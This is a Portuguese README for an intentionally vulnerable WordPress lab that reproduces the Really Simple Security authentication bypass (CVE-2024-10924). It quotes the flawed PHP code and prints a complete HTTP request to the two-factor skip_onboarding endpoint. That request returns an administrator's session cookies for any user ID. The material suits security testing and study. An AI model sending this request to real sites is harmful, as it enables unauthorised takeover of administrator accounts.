
AVISO: Esta é uma aplicação vulnerável para testar o exploit do bypass de autenticação do Really Simple Security < 9.1.2 (CVE-2024-10924). Execute-o por sua conta e risco!
Este é um aplicativo vulnerável para testar o exploit do bypass de autenticação do Really Simple Security < 9.1.2 (CVE-2024-10924).
Este aplicativo contém vulnerabilidades de segurança graves. Use-o por sua conta e risco! Recomenda-se usar um ambiente com backup e isolado (como uma VM com snapshot recente e rede somente host). Não envie este aplicativo para servidores expostos à Internet, pois eles serão comprometidos.
AVISO LEGAL: Não me responsabilizo pela forma como qualquer pessoa utiliza este aplicativo. O único propósito deste aplicativo é ser um cenário de teste para o exploit do bypass de autenticação do Really Simple Security < 9.1.2 (CVE-2024-10924) e ele não deve ser usado de forma maliciosa. Se o seu servidor for comprometido por meio de uma instalação deste aplicativo, a responsabilidade não é minha, mas sim da(s) pessoa(s) que o enviou e o instalou.
Aqui estão as etapas para configurar o ambiente:
./up.sh para iniciar a composição.O container será chamado vuln-wp-really-simple-security.
Para remover o ambiente use o comando ./down.sh ou o comando ./down_and_delete.sh para remover também as imagens e o volume do banco de dados.
Observando a correção, é possível entender que, na versão vulnerável, um objeto de erro era retornado, em caso de nonce de login inválido, pela função check_login_and_get_user(), sem abortar toda a operação.
private function check_login_and_get_user( int $user_id, string $login_nonce ) {
if ( ! Rsssl_Two_Fa_Authentication::verify_login_nonce( $user_id, $login_nonce ) ) {
return new WP_REST_Response( array( 'error' => 'Invalid login nonce' ), 403 );
}
/**
* Get the user by the user ID.
*
* @var WP_User $user
*/
$user = get_user_by( 'id', $user_id );
return $user;
}
No chamador, no entanto, nenhuma verificação era feita na saída da função check_login_and_get_user() (linha 277), simplesmente avançando para a função authenticate_and_redirect() (linha 278) usando o mesmo valor recebido da entrada para o ID do usuário.
public function skip_onboarding( WP_REST_Request $request ): WP_REST_Response {
$parameters = new Rsssl_Request_Parameters( $request );
// As a double we check the user_id with the login nonce.
$user = $this->check_login_and_get_user( (int)$parameters->user_id, $parameters->login_nonce );
return $this->authenticate_and_redirect( $parameters->user_id, $parameters->redirect_to );
}
Para explorar a vulnerabilidade, uma requisição como a seguinte é suficiente.
POST /?rest_route=/reallysimplessl/v1/two_fa/skip_onboarding HTTP/1.1
Host: localhost:1337
Content-Type: application/json
Content-Length: 88
Connection: keep-alive
{
"user_id": 1,
"login_nonce": "133333337",
"redirect_to": "/wp-admin/"
}
Em seguida, defina os cookies de sessão retornados no navegador.
O user_id deve ser o ID do usuário alvo; o login_nonce pode ser qualquer coisa, pois um valor incorreto não bloqueará o processo.
Um script de exploit em Python pode ser encontrado aqui.
Este projeto é licenciado sob a Unlicense - consulte o arquivo LICENSE para obter detalhes.